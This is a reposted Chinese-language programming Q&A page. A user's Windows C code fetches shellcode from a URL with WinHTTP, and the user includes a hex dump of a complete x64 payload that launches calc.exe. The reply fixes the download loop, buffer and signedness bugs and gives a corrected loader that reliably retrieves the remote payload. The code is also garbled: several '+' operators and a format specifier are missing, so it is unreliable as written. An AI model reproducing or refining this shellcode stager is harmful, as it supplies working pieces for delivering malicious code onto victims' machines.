我的 C 代碼有問題,我想從 URL 下載檔案的資料(shellcode)并將其存盤在一個無符號字符陣列(mycode)中,使用下面的代碼,當檔案中有 0 時包含程式的shellcode洗掉了一些零,從而改變了shellcode:
Buffer WinREQ(LPCWSTR domain, LPCWSTR path) {
BOOL bResults = FALSE;
DWORD dwSize = 0;
LPSTR pszOutBuffer;
DWORD dwDownloaded = 0;
unsigned char mycode[DEFAULT_BUFLEN] = "";
LPCWSTR accept[2] = { L"application/octet-stream", NULL };
HINTERNET hSession = NULL,
hConnect = NULL,
hRequest = NULL;
// Use WinHttpOpen to obtain a session handle.
hSession = WinHttpOpen(L"WinHTTP Example/1.0",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS, 0);
// Specify an HTTP server.
if (hSession)
{
hConnect = WinHttpConnect(hSession, domain, INTERNET_DEFAULT_HTTP_PORT, 0);
printf("Success in WinHttpConnect\n");
}
else
{
printf("Failed in WinHttpConnect (%u)\n", GetLastError());
}
// Create an HTTP request handle.
if (hConnect)
{
hRequest = WinHttpOpenRequest(hConnect, L"GET", path, NULL, WINHTTP_NO_REFERER, accept, NULL);
printf("Success in WinHttpOpenRequest\n");
}
else
{
printf("Failed in WinHttpOpenRequest (%u)\n", GetLastError());
}
// Send a request.
if (hRequest)
{
bResults = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
printf("Success in WinHttpSendRequest\n");
}
else
{
printf("Failed in WinHttpSendRequest (%u)\n", GetLastError());
}
// End the request.
if (bResults)
{
bResults = WinHttpReceiveResponse(hRequest, NULL);
printf("Success in WinHttpReceiveResponse\n");
}
else
{
printf("Failed in WinHttpReceiveResponse (%u)\n", GetLastError());
}
// Keep checking for data until there is nothing left.
if (bResults)
{
do
{
// Check for available data.
dwSize = 0;
if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
printf("Error %u in WinHttpQueryDataAvailable (%u)\n", GetLastError());
// Allocate space for the buffer.
pszOutBuffer = malloc(dwSize 1);
if (!pszOutBuffer)
{
printf("Out of memory\n");
dwSize = 0;
}
else
{
// Read the Data.
ZeroMemory(pszOutBuffer, dwSize 1);
if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))
{
printf("Error %u in WinHttpReadData.\n", GetLastError());
}
else
{
memcpy(mycode, (LPVOID)pszOutBuffer, dwSize);
}
free(pszOutBuffer);
}
} while (dwSize > 0);
}
if (sizeof(mycode) == DEFAULT_BUFLEN)
{
printf("Success retrieving the shellcode\n");
printf("Shellcode Size : %d\n", sizeof(mycode));
}
else
{
printf("Failed retrieving the shellcode\n");
exit;
}
// Report any errors.
if (!bResults)
printf("Error %d has occurred.\n", GetLastError());
// Close any open handles.
if (hRequest) WinHttpCloseHandle(hRequest);
if (hConnect) WinHttpCloseHandle(hConnect);
if (hSession) WinHttpCloseHandle(hSession);
size_t size = sizeof(mycode);
char* PE = (char*)malloc(size);
for (int i = 0; i < sizeof(mycode); i ) {
PE[i] = mycode[i];
}
Buffer buffer;
buffer.data = PE;
buffer.size = size;
return buffer;
}
shellcode 如下(xxd -p shellcode.bin):
fc4883e4f0e8c0000000415141505251564831d265488b5260488b521848
8b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d41
01c1e2ed524151488b52208b423c4801d08b80880000004885c074674801
d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0
ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d0
66418b0c48448b401c4901d0418b04884801d0415841585e595a41584159
415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000
000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dff
d54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c
632e6578652000
當我呼叫我的函式 WinREQ 時的輸出如下:
fffffffc48ffffff83ffffffe4fffffff0ffffffe8ffffffc0000415141505251564831ffffffd26548ffffff8b526048ffffff8b521848ffffff8b522048ffffff8b725048fffffffb74a4a4d31ffffffc94831ffffffc0ffffffac3c617c22c2041ffffffc1ffffffc9d411ffffffc1ffffffe2ffffffed52415148ffffff8b5220ffffff8b423c481ffffffd0ffffff8bffffff80ffffff8800048ffffff85ffffffc07467481ffffffd050ffffff8b481844ffffff8b4020491ffffffd0ffffffe35648ffffffffffffffc941ffffff8b34ffffff88481ffffffd64d31ffffffc94831ffffffc0ffffffac41ffffffc1ffffffc9d411ffffffc138ffffffe075fffffff14c34c2484539ffffffd175ffffffd85844ffffff8b4024491ffffffd06641ffffff8bc4844ffffff8b401c491ffffffd041ffffff8b4ffffff88481ffffffd0415841585e595a41584159415a48ffffff83ffffffec204152ffffffffffffffe05841595a48ffffff8b12ffffffe957ffffffffffffffffffffffff5d48ffffffba1000000048ffffff8dffffff8d110041ffffffba31ffffff8b6fffffff87ffffffffffffffd5ffffffbbfffffff0ffffffb5ffffffa25641ffffffbaffffffa6ffffff95ffffffbdffffff9dffffffffffffffd548ffffff83ffffffc4283c67caffffff80fffffffbffffffe0755ffffffbb4713726f6a05941ffffff89ffffffdaffffffffffffffd563616c632e65786520
我不明白為什么會有填充(fff),我也不明白為什么會替換一些零:8c0000000415 替換為 8c0000415。你能幫我么?
uj5u.com熱心網友回復:
您的代碼中有一些錯誤:
您的呼叫
memcpy()應該使用dwDownloaded而不是dwSize因為WinHttpReadData()可能回傳dwDownload小于請求的dwSize.由于您
WinHttpReadData()在回圈中呼叫,因此您需要在先前存盤的位元組之后附加新下載的位元組。您當前正在覆寫mycode每個回圈迭代,丟失以前的位元組。你沒有確保
dwSize/dwDownloaded在<= DEFAULT_BUFLEN呼叫之前memcpy(),所以你有緩沖區溢位的風險。您下載的位元組數與 WinHTTP 告訴您的可用位元組數一樣多,而不是您可以物理存盤的位元組數。因為
mycode是 size 的固定大小陣列DEFAULT_BUFLEN,sizeof(mycode) == DEFAULT_BUFLEN所以總是正確的。相反,您需要跟蹤實際存盤的位元組數mycode,然后您可以在回圈完成后檢查該值。就此而言,由于
Buffer可以容納可變數量的位元組,因此您不應該將下載的位元組存盤在一個固定大小的陣列中。您可以使用固定大小的陣列來呼叫WinHttpReadData(),然后將這些位元組附加到可變大小的動態陣列中,然后您可以將其存盤在 final 中Buffer。或者,您可以完全擺脫固定大小的陣列,直接將位元組接收到可變大小的陣列中。您沒有正確列印位元組值。您的緩沖區是一個
chars 陣列,char可能是signed或unsigned,具體取決于編譯器實作。在您的情況下,這顯然是signed因為您正遭受符號擴展f的困擾,這就是當給定位元組的高位為 時,額外的 s 來自哪里1。將位元組列印為 achar時,您需要unsigned先將其轉換為型別,以便使用零擴展名進行列印。
話雖如此,請嘗試更像這樣的東西:
Buffer WinREQ(LPCWSTR domain, LPCWSTR path) {
BOOL bResults = FALSE;
DWORD dwSize = 0;
LPBYTE pszOutBuffer = NULL, pszNewBuffer = NULL;
DWORD dwDownloaded = 0, dwTotal = 0;
LPCWSTR accept[2] = { L"application/octet-stream", NULL };
HINTERNET hSession = NULL,
hConnect = NULL,
hRequest = NULL;
// Use WinHttpOpen to obtain a session handle.
hSession = WinHttpOpen(L"WinHTTP Example/1.0",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS, 0);
if (!hSession)
{
printf("Failed in WinHttpOpen (%u)\n", GetLastError());
goto Finished;
}
printf("Success in WinHttpOpen\n");
// Specify an HTTP server.
hConnect = WinHttpConnect(hSession, domain, INTERNET_DEFAULT_HTTP_PORT, 0);
if (!hConnect)
{
printf("Failed in WinHttpConnect (%u)\n", GetLastError());
goto Finished;
}
// Create an HTTP request handle.
hRequest = WinHttpOpenRequest(hConnect, L"GET", path, NULL, WINHTTP_NO_REFERER, accept, NULL);
if (!hRequest)
{
printf("Failed in WinHttpOpenRequest (%u)\n", GetLastError());
goto Finished;
}
printf("Success in WinHttpOpenRequest\n");
// Send a request.
bResults = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
if (!bResults)
{
printf("Failed in WinHttpSendRequest (%u)\n", GetLastError());
goto Finished;
}
printf("Success in WinHttpSendRequest\n");
// End the request.
bResults = WinHttpReceiveResponse(hRequest, NULL);
if (!bResults)
{
printf("Failed in WinHttpReceiveResponse (%u)\n", GetLastError());
goto Finished;
}
printf("Success in WinHttpReceiveResponse\n");
// Keep checking for data until there is nothing left.
do
{
// Check for available data.
bResults = WinHttpQueryDataAvailable(hRequest, &dwSize);
if (!bResults)
{
printf("Error in WinHttpQueryDataAvailable (%u)\n", GetLastError());
break;
}
// Allocate space for the buffer.
pszNewBuffer = (LPBYTE) realloc(pszOutBuffer, dwTotal dwSize);
if (!pszNewBuffer)
{
printf("Out of memory\n");
bResults = FALSE;
break;
}
pszOutBuffer = pszNewBuffer;
// Read the Data.
bResults = WinHttpReadData(hRequest, pszOutBuffer dwTotal, dwSize, &dwDownloaded);
if (!bResults)
{
printf("Error in WinHttpReadData (%u)\n", GetLastError());
break;
}
dwTotal = dwDownloaded;
}
while (dwDownloaded != 0);
Finished:
// Close any open handles.
if (hRequest) WinHttpCloseHandle(hRequest);
if (hConnect) WinHttpCloseHandle(hConnect);
if (hSession) WinHttpCloseHandle(hSession);
if (!bResults)
{
printf("Failed retrieving the shellcode\n");
free(pszOutBuffer);
pszOutBuffer = NULL;
dwTotal = 0;
}
else
{
printf("Success retrieving the shellcode\n");
printf("Shellcode Size : %u\n", dwTotal);
for(DWORD i = 0; i < dwTotal; i)
{
printf("x", pszOutBuffer[i]);
}
}
Buffer buffer;
buffer.data = (LPSTR) pszOutBuffer;
buffer.size = dwTotal;
return buffer;
}
轉載請註明出處,本文鏈接:https://www.uj5u.com/shujuku/527221.html
